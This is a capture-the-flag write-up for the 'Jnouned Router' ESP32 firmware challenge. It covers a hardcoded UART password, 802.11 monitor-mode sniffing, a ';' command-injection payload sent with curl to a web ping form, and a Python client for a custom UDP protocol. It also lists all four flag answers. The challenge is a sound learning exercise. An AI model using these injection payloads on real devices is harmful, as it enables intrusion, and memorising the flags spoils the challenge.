# Jnouned Router

| Field | Value |
|-------|-------|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 400 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |

---

## Description

The CERT-CORP intercepted a strange firmware from an unknown router model built by the
shady *JNouner Company*.

Analysts found it targets an **ESP32-based prototype**, but the system is protected by a
locked **UART console**.

Flash the firmware, break into the system, and work your way through every layer of this device.

Format: **ESPILON{flag}**

---

## TL;DR

Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff
802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse
a custom UDP protocol (JMP) to exfiltrate the final flag.

---

## Tools

| Tool | Purpose |
|------|---------|
| `esptool.py` | Flash firmware |
| `screen` / `minicom` | UART console access |
| `airmon-ng` / `tcpdump` | 802.11 monitor mode capture |
| `curl` | Web admin POST injection |
| Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client |
| `strings` / Ghidra | Firmware static analysis |

---

## Flags Summary

| Flag | Name | Points | Value |
|------|------|--------|-------|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |

---

## Solution

### Setup
![esptool flashing firmware to ESP32](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/esptool_flash.png)
 — Flash the firmware

```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
    0x1000  bootloader.bin \
    0x8000  partition-table.bin \
    0x10000 jnouned_router.bin
```

Open the UART console:

```bash
screen /dev/ttyUSB0 115200
```

![UART console showing jnoun-console> prompt](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_console.png)

---

### Flag 1 — Console Access
 (100 pts)

The UART console presents a `jnoun-console>` prompt requiring a password.

Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find
`build_admin_password()`. The password is assembled from three parts:

```
p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
```

```text
admin_login jnoun-admin-2022
```

Flag 1 is printed on success.

![successful admin_login command printing Flag 1](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_login.png)

---

### Flag 2 — 802.11 TX
 (200 pts)

From the admin console, read device settings:

```text
settings
```

The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`):

- **SSID**: `Jnoun-3E4C`
- **PSK**: `LAIN_H4v3_Ajnoun`

Trigger the 802.11 data-frame flood for 90 seconds:

```text
start_emitting
```

Put your WiFi adapter into monitor mode on the same channel and capture frames:

```bash
airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap
```

Among the random noise frames, one frame emitted at a random time (5–85 seconds)
contains Flag 2 as cleartext in its 802.11 data payload.


![Wireshark frame showing Flag 2 in the payload field](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_wifi.png)

---

### Flag 3 — Admin Panel (300 pts)

Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an
HTTP server at `http://192.168.4.1`.

Log in: `admin` / `admin`.

The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads:
*"Parser séparateur ';'"* — the internal shell splits commands on `;`.

Inject via the `target` field:

```bash
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
    -d "target=x%3B+flag"
```

Decoded: `target=x; flag`

Flag 3 prints to the UART console via `ESP_LOGE`.

![UART console showing Flag 3 output after injection](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_flag3.png)

---

### Flag 4 — JMP Protocol (400 pts)

Trigger the exfiltration session via the web injection:

```text
target=x; start_session
```

The UART console leaks:

```text
JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
  Magic: 0x4A4D5021
  Auth hash (SHA256): <hash>
  Hint: Secret pattern is JNOUNER_SECRET_XXXX
```

The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
then request all data blocks:

```python
import socket, struct, hashlib

HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"

secret_hash = hashlib.sha256(SECRET).digest()

# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))

# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")

# Request all blocks
flag = b""
for block_id in range(10):
    # DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
    req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
    sock.sendto(req, (HOST, PORT))
    resp, _ = sock.recvfrom(1024)

    # DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
    if len(resp) < 8:
        break
    _, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
    data = resp[8:8+dlen]
    flag += data
    if bid + 1 >= total:
        break

print(flag.decode())
```

![Python JMP client printing the final flag after block reassembly](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/jnouned_jmp.png)

---

## Flag

- Flag 1: `ESPILON{Jn0un3d_4dM1N}`
- Flag 2: `ESPILON{802_11_tx_jnned}`
- Flag 3: `ESPILON{Adm1n_4r3_jn0uned}`
- Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`
